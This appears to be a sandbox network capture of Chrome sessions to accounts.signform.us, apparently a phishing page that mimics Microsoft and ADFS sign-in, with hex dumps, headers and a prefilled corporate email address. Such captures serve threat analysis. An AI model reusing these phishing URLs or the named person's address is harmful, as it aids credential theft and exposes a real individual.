2024-09-27 06:18:50 UTC	16384	IN	Data Raw: 8d 14 37 0a 23 5c 7e c3 25 33 43 7f 03 1d cc 4d ee 10 38 4d b5 8d 85 a4 0c 2a a5 b7 0c 2a 4d ca a0 fa 13 2f cb 87 17 29 7a 71 1d 36 53 b8 16 92 b2 f2 7b fc d9 8f b3 4c 4b 53 47 b3 1b df 87 c9 ea 61 7c 60 20 36 e7 e0 44 fa 7c 86 14 ae d7 f4 16 54 ca ad 2a f2 d8 c8 bf 4b a5 09 e6 cc 6c d0 a0 6b 0b 69 4b 28 6a 71 24 7f 08 2c fb 6a ba 76 14 cf 26 49 f6 e1 5c 72 06 bd 2f 02 9a 72 f2 ef 59 3e 59 3b 1c ae a2 41 e9 a9 05 4a cc 90 c6 0b d4 3a 7a 7f 10 30 fb fa a7 c8 9d 79 1c a3 a0 7f 3e 97 0c aa 0d be e6 50 56 4c 61 5c 1f 2a 95 94 71 9a be 66 df 43 9b 24 9c 3e 6b 84 bf 2c c7 b0 48 b6 01 bf bc 35 74 df 87 29 ab e7 2d 14 fe 15 e8 37 94 f1 f3 b1 6b 1b 4b 73 4b 54 74 2a b0 90 5a a2 b0 17 6a 96 a9 4b d4 f7 02 b0 96 03 05 a6 53 74 10 e0 2c 86 35 00 57 03 3f b3 ce bf 34 Data Ascii: 7#\~%3CM8M*M/)zq6S{LKSGa\|` 6D\|TKlkiK(jq$,jv&I\r/rY>Y;AJ:z0y>PVLa\qfC$>k,H5t)-7kKsKTtZjKSt,5W?4
2024-09-27 06:18:50 UTC	16384	IN	Data Raw: 78 d0 e7 50 90 d3 a3 cd f8 1c a3 d2 e7 f2 95 33 18 55 e1 5e b2 c5 de 3f 87 93 7f 5f 39 0e 0b c8 37 b2 ea f9 37 96 73 6a b9 02 24 f2 ac 01 29 a7 c8 f6 9e 9f 1f f3 c3 13 cf 95 1c df f6 ce b7 04 ff 04 21 fc 26 3c df 45 28 f2 21 f1 0a 88 8e d3 d1 b5 00 35 56 df 77 97 21 ae 0f c4 5f c1 ef 6b ce 32 ba ab 3d cb 88 1b 54 c9 ce 6c 24 29 c5 e7 59 17 8c 98 bc ae d7 23 e7 a1 5c 6f 18 e3 a8 19 a7 62 01 5a 11 41 4c c5 b0 c6 29 15 f9 d5 a8 d7 38 40 b2 0b bc 8a a3 11 e3 00 f3 19 a3 81 0c 44 7d ad 9e 34 fd 91 58 67 5c 09 f2 b0 15 b6 52 80 d2 f6 e9 d3 48 42 a4 fd 9a 88 20 9c 43 60 80 dc a8 b7 70 0d c7 49 cf 6f 06 e7 d1 15 82 e8 66 37 c8 e2 5b c3 2b dd e0 a4 2f b4 96 7b 00 50 e2 dc ad 64 72 8c fa 6c 17 de 99 02 ab 0d 63 65 ea bf 9c 05 1c 9b 83 71 c0 fe 17 cc 2e 37 d7 dd 4b Data Ascii: xP3U^?_977sj$)!&<E(!5Vw!_k2=Tl$)Y#\obZAL)8@D}4Xg\RHB C`pIof7[+/{Pdrlceq.7K
2024-09-27 06:18:50 UTC	3341	IN	Data Raw: a0 c7 44 9a b1 51 43 10 ae 59 07 99 fa 97 8a 25 8f fc 38 99 ae 0c 87 ee b8 b4 0c 06 f2 69 66 f1 e4 e7 d0 f1 06 f4 a0 31 d0 c2 02 da 77 7c 2a 3c bb 78 87 85 18 00 b8 a6 7c 4e 4b 76 01 c7 6f 23 70 34 89 16 4f 31 b5 af 3e 4c b9 91 8a d1 49 19 22 b2 e0 75 12 2c 7d 20 ca e0 57 df 22 52 e2 9f 7d c0 58 e7 4a 68 3d f1 55 c0 ba 75 cb c3 06 ca 42 86 b2 ad 7b e0 21 d6 58 24 77 ac f2 89 7d 01 69 c7 51 f1 c0 36 01 97 c1 cd 59 cf 6b 46 38 1f a9 5f 32 d2 74 6d 8f b8 8c 19 6f de 80 b6 ab ac 46 70 a5 e7 1b d8 72 65 b3 89 14 b8 f2 7c 73 43 09 68 fb 58 1b e6 a6 02 31 f3 5d ac 2f f6 5c 43 43 6e 6f cf a8 2f 48 36 0f 7c 79 65 07 a2 2d 19 c9 65 af ba 7c 8b e3 ec 91 bb 16 26 55 3a 5a f7 b1 b5 8d 76 ea c9 87 6b 80 c7 ee b3 1c 45 89 ed 08 cf 4b fb d4 57 df bc 9a 1c 72 c3 bd c0 fd Data Ascii: DQCY%8if1w\|*<x\|NKvo#p4O1>LI"u,} W"R}XJh=UuB{!X$w}iQ6YkF8_2tmoFpre\|sChX1]/\CCno/H6\|ye-e\|&U:ZvkEKWr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49763	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:52 UTC	656	OUT	GET /b98cbfac3b4f48f1a0cb583440b2d360/ HTTP/1.1 Host: accounts.signform.us Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://accounts.signform.us Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ==" Sec-WebSocket-Key: 9oTOC+PO0iQbeQkc5dpruQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-09-27 06:18:52 UTC	736	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 27 Sep 2024 06:18:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 3d8a0cef-d42c-4b8d-8de6-6977fa5ea400 x-ms-ests-server: 2.1.18947.4 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://134694a7-b98cbfac.signform.us/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-09-27 06:18:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49767	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:52 UTC	951	OUT	GET /?username=stefan.bubestinger@hoerbiger.com&sso_reload=true HTTP/1.1 Host: accounts.signform.us Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-09-27 06:18:53 UTC	1453	IN	HTTP/1.1 302 Found Server: nginx Date: Fri, 27 Sep 2024 06:18:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 48579 Connection: close cache-control: no-store, no-cache pragma: no-cache location: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0# vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: e11737af-2e44-4c93-a278-b58ba844db00 x-ms-ests-server: 2.1.18947.4 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://134694a7-b98cbfac.signform.us/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-09-27 06:18:53 UTC	13007	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 d4 bd 69 5b db c8 d6 28 fa fd fe 0a e0 ec 07 49 1b 85 78 1e a3 f8 25 0e 04 37 83 98 6c d2 71 7b e7 c8 b2 8c 4d 90 4d db 86 40 c0 e7 b7 9f 35 54 95 4a b2 45 fa 3d e7 de 0f 77 3f bb 83 5c 2a d5 b8 6a cd 6b d5 87 d1 22 bc fb f8 ff 6c 7c 18 05 de 00 fe 6e 7c 58 8c 17 77 01 3e 6d b8 fd db c0 5f 6c 84 d3 c7 60 80 6f de ab 57 1f e6 fe 6c 7c bf d8 58 3c df 07 ce d6 22 78 5a bc bf f5 1e 3d 2e dd a2 8f 37 87 0f 13 7f 31 9e 4e 4c eb 65 eb 61 1e 6c cc 17 b3 b1 bf d8 aa 3f 7a b3 8d 85 a3 de 06 f6 cc 7a 99 05 8b 87 d9 04 8a b9 cb dd 79 b0 38 9b 4d 17 53 6c df 1d be be be 7c ff 7e 8f bf bf 7f af 75 7b cb f1 64 be f0 26 7e 30 1d 6e ec cd 66 de f3 f6 b6 6a 6d 61 07 d6 cb 62 57 55 77 82 e5 eb 6b fc ed 70 3a 33 71 0c b3 8d f1 64 23 b0 44 8f f7 Data Ascii: i[(Ix%7lq{MM@5TJE=w?\*jk"l\|n\|Xw>m_l`oWl\|X<"xZ=.71NLeal?zzy8MSl\|~u{d&~0nfjmabWUwkp:3qd#D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49765	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:52 UTC	975	OUT	POST /common/instrumentation/reportbssotelemetry?hpgid=6&hpgact=2101&client-request-id=3a0a2696-c8bc-49cf-8889-338545843932&hpgrequestid=02e5502b-6a80-4091-90bd-8fa0da3eb300 HTTP/1.1 Host: accounts.signform.us Connection: keep-alive Content-Length: 325 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://accounts.signform.us Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="; AADSSO=NA\|NoExtension
2024-09-27 06:18:52 UTC	325	OUT	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 22 45 72 72 6f 72 22 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 45 78 74 65 6e 73 69 6f 6e 22 2c 22 74 79 70 65 22 3a 22 43 68 72 6f 6d 65 53 73 6f 54 65 6c 65 6d 65 74 72 79 22 2c 22 64 61 74 61 22 3a 7b 7d 2c 22 74 72 61 63 65 73 22 3a 5b 22 42 72 6f 77 73 65 72 53 53 4f 20 49 6e 69 74 69 61 6c 69 7a 65 64 22 2c 22 43 72 65 61 74 69 6e 67 20 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 43 6f 72 65 20 70 72 6f 76 69 64 65 72 22 2c 22 53 65 6e 64 69 6e 67 20 6d 65 73 73 61 67 65 20 66 6f 72 20 6d 65 74 68 6f 64 20 43 72 65 61 74 65 50 72 6f 76 69 64 65 72 41 73 79 6e 63 22 2c 22 52 65 63 65 69 76 65 64 20 6d 65 73 73 61 67 65 20 66 6f 72 20 6d 65 74 68 6f 64 20 43 72 65 61 74 65 50 72 6f 76 69 64 65 72 41 73 79 6e 63 22 2c 22 45 72 72 6f Data Ascii: {"result":"Error","error":"NoExtension","type":"ChromeSsoTelemetry","data":{},"traces":["BrowserSSO Initialized","Creating ChromeBrowserCore provider","Sending message for method CreateProviderAsync","Received message for method CreateProviderAsync","Erro
2024-09-27 06:18:53 UTC	768	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:18:52 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: d7698b23-4fcb-4cfc-ad22-df710def0200 x-ms-ests-server: 2.1.19005.8 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://134694a7-b98cbfac.signform.us/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-09-27 06:18:53 UTC	272	IN	Data Raw: 31 30 39 0d 0a 7b 22 61 70 69 43 61 6e 61 72 79 22 3a 22 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 7a 76 67 63 53 36 77 79 6c 61 55 41 51 6d 73 53 2d 2d 39 6d 6f 41 62 48 43 67 4e 64 38 79 6f 4a 4c 4e 48 6c 47 6e 69 38 6d 62 74 6a 36 38 45 34 55 54 65 6a 49 69 2d 6d 4c 66 6e 41 6e 59 36 72 44 47 78 55 45 42 74 65 53 44 56 78 70 5f 66 50 6a 65 30 42 4f 4d 52 36 44 36 69 78 4f 31 64 4e 66 45 67 32 62 6d 57 35 31 39 2d 68 30 34 55 5f 59 66 51 6d 44 45 62 32 68 32 30 69 45 73 6d 78 47 73 6b 33 54 75 78 37 58 57 6e 41 53 51 54 62 6c 7a 6c 78 32 61 56 5a 73 66 6d 6c 51 68 41 77 59 64 36 5a 31 61 4a 4d 34 6e 6d 6b 6d 44 36 43 6a 62 6a 33 5a 42 7a 7a 4e 70 6f 47 57 34 52 4f 70 4f 59 63 6e 5a 70 41 70 62 47 Data Ascii: 109{"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFezvgcS6wylaUAQmsS--9moAbHCgNd8yoJLNHlGni8mbtj68E4UTejIi-mLfnAnY6rDGxUEBteSDVxp_fPje0BOMR6D6ixO1dNfEg2bmW519-h04U_YfQmDEb2h20iEsmxGsk3Tux7XWnASQTblzlx2aVZsfmlQhAwYd6Z1aJM4nmkmD6Cjbj3ZBzzNpoGW4ROpOYcnZpApbG
2024-09-27 06:18:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49764	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:52 UTC	799	OUT	GET /favicon.ico HTTP/1.1 Host: accounts.signform.us Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-09-27 06:18:52 UTC	739	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 27 Sep 2024 06:18:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 4ccb32c1-9787-4530-9ca7-f257a03d9700 x-ms-ests-server: 2.1.18947.4 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://134694a7-b98cbfac.signform.us/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-09-27 06:18:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49768	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:52 UTC	539	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1 Host: 3555af0f-b98cbfac.signform.us Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
2024-09-27 06:18:53 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:18:53 GMT Content-Type: application/x-javascript Content-Length: 49798 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 4326277 cache-control: public, max-age=31536000 etag: 0x8DCB563C85A43C4 last-modified: Mon, 05 Aug 2024 15:32:14 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: afb358ea-101e-006b-294c-e94dd8000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-09-27 06:18:53 UTC	15634	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 e0 ce 9d 06 ba 9b 19 20 0c 81 e9 d9 05 96 cb 89 15 f0 74 b0 b3 b6 c3 cb 40 ce 6f 3f f5 22 d9 b2 e3 d0 3d bb e7 3a 5f 9e 79 21 b6 54 92 a5 52 55 a9 aa 54 92 d6 7f 5a f9 9f ca 4f 95 b5 1f ff a7 32 38 ef 9d 9d 57 fa 9f 2a e7 5f 0e cf f6 2b a7 f0 f6 8f ca 49 ff fc 70 ef e0 c7 eb c1 8f e2 ff e7 77 7e 5c 19 fb 13 51 81 df a1 1b 0b af 12 06 95 30 aa f8 c1 28 8c a6 61 e4 26 22 ae dc c3 df c8 77 27 95 71 14 de 57 92 3b 51 99 46 e1 1f 62 94 c4 95 89 1f 27 50 68 28 26 e1 63 a5 0a d5 45 5e e5 d4 8d 92 e7 ca e1 a9 59 87 fa 05 d4 e6 df fa 01 94 1e 85 d3 67 78 be 4b 2a 41 98 f8 23 51 71 03 8f 6a 9b c0 4b 10 8b ca 2c f0 44 54 79 bc f3 47 77 95 63 7f 14 85 71 38 4e 2a 91 18 09 Data Ascii: m[80OL t@o?"=:_y!TRUTZO28W_+Ipw~\Q0(a&"w'qW;QFb'Ph(&cE^YgxKA#QqjK,DTyGwcq8N*
2024-09-27 06:18:53 UTC	16384	IN	Data Raw: da 1b 70 01 54 e9 ab ac fb ec 85 e7 e9 04 4f a3 92 74 00 22 5d 85 e1 a4 9a 9f 9a 97 61 14 d0 ef 4b 57 b6 82 54 d2 be 80 cd 15 1e 72 b9 b5 f7 b1 7f 86 50 1c bf 4d 22 45 4d 42 a9 6e 08 ca 1a b7 59 0a f7 cd 46 26 d3 37 9b e4 c7 a1 53 63 a8 b3 c0 1b 91 cb 3b 36 35 b1 6d 1b 22 7b 61 cb c8 a6 e3 8d 0c 8b 04 a3 81 57 32 19 4b 4f 98 0d aa 2d b3 93 d4 e9 30 aa 8b 00 0c 12 0f 46 e4 e0 09 8f fd 00 d8 3e 58 c7 7f 30 a9 e7 0e 18 15 97 06 1d 6f 64 5c 57 4b 0e a8 14 1d bc df 12 30 09 46 49 38 e6 b3 db e8 ec 7d ed 24 b7 f4 5b 15 79 a0 6d 25 52 5f b2 2b 46 0d 4f 81 84 39 55 dd f4 57 d5 ce 67 e2 73 b3 92 b9 69 35 e8 32 05 40 4d e9 f5 80 0b 87 e1 69 57 83 45 5a 8d a1 e5 e3 5d 0e e9 a5 7f 55 d3 ac a3 64 a5 8c 65 8d 08 f1 be 01 13 af 1f 32 cd 37 70 bb 89 77 5a 05 d5 66 03 0f Data Ascii: pTOt"]aKWTrPM"EMBnYF&7Sc;65m"{aW2KO-0F>X0od\WK0FI8}$[ym%R_+FO9UWgsi52@MiWEZ]Ude27pwZf
2024-09-27 06:18:53 UTC	16384	IN	Data Raw: fd f9 09 7e 74 9f 32 42 c7 41 04 97 ac 67 a6 59 52 fe c7 16 35 69 e7 95 16 69 ad 21 7a b3 1f 5e 09 f1 36 92 69 80 c3 33 51 9b 47 40 9d 1b 69 1d 00 32 87 8c 70 54 bd c4 49 e5 63 3d 56 fe aa 2d 64 7c 1c e5 33 d9 6b ef d4 7b bc d5 aa d6 56 8b 4c b5 21 d8 0c b5 bb 83 14 6a 74 ae 38 db 5e f1 af ba 0d fd 35 1f cf 4e da 75 b6 2c 6f fd d1 4a 2a b1 57 60 a9 6b 91 8d 93 5d 5b c4 54 ec 68 d5 48 b7 90 f8 06 eb 52 aa e3 01 83 db 2a e6 8d c4 3b cf 7a eb 20 aa 1f f4 a5 0a ad cb 58 cf 7a cd 82 e5 48 67 da d4 b9 32 27 0d dd 52 fb 69 c0 49 68 1b ac 62 c3 ac 28 0b a4 e3 37 0d f4 ad 7f ad d2 22 99 70 a4 83 be 70 ed 2b cf 3d 36 c5 5a d3 92 f4 e8 05 38 e7 f3 ef 31 9c 8a 1d 65 72 77 4e 24 c6 c6 ba 41 b2 b0 90 ff 20 71 9d f7 25 d1 15 f5 05 7f 30 5d 81 cf 1f 3c 7d f9 4c 11 2e e4 Data Ascii: ~t2BAgYR5ii!z^6i3QG@i2pTIc=V-d\|3k{VL!jt8^5Nu,oJW`k][ThHR;z XzHg2'RiIhb(7"pp+=6Z81erwN$A q%0]<}L.
2024-09-27 06:18:53 UTC	1396	IN	Data Raw: bd 4a e2 81 d2 5d b1 d3 96 7c 63 e0 0c 53 4f a5 9a bb 3a 2e 4e c6 4a 5b 89 df fe 16 da 52 ba b9 69 3f 2b 51 59 d7 b5 b1 8e f2 37 8d d0 27 10 c8 b4 19 3b a1 9c 5a d4 a0 90 28 5e 8f 47 30 1c 4e 7d 0c 46 90 10 f3 0f 27 06 89 e8 10 63 5a 58 79 3e b5 cd 1a bf 13 9a bc 66 77 8f 12 0e 35 ea ef ad ab f4 be 72 03 dc 22 0e 14 f8 b3 eb f7 0b 76 7c 32 2e 00 7d a1 af 5a 24 b3 4c 04 93 14 6d ca 17 57 ca 3c b0 5a 30 ec a7 17 a4 b6 43 48 ac 1c 42 c4 33 97 b8 31 01 d5 62 9b 8c cf be bc 5e d3 fb f6 5d 4d 57 0e 6e 6f dd a8 e7 28 ef de 03 00 1f f7 c5 c1 01 da 1c 1c 5e 44 18 1d e5 bc 2e 06 f4 03 24 2e 55 b9 ea e0 43 7a 10 be 71 d7 32 44 41 ef ba 33 13 16 98 d4 48 7a 50 36 1b 35 72 4f e9 dc 39 a8 bb f2 d4 95 4c 13 ca d7 9d bd 0e c2 9b d1 3c 2d ca 8a 43 bc c6 d5 d8 03 ef 19 8b Data Ascii: J]\|cSO:.NJ[Ri?+QY7';Z(^G0N}F'cZXy>fw5r"v\|2.}Z$LmW<Z0CHB31b^]MWno(^D.$.UCzq2DA3HzP65rO9L<-C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49769	206.206.125.198	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:54 UTC	1438	OUT	GET /adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0 HTTP/1.1 Host: 69cde8a9-b98cbfac.signform.us Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://accounts.signform.us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
2024-09-27 06:18:54 UTC	316	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 06:18:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 6111 Connection: close vary: Accept-Encoding cache-control: no-cache,no-store pragma: no-cache content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
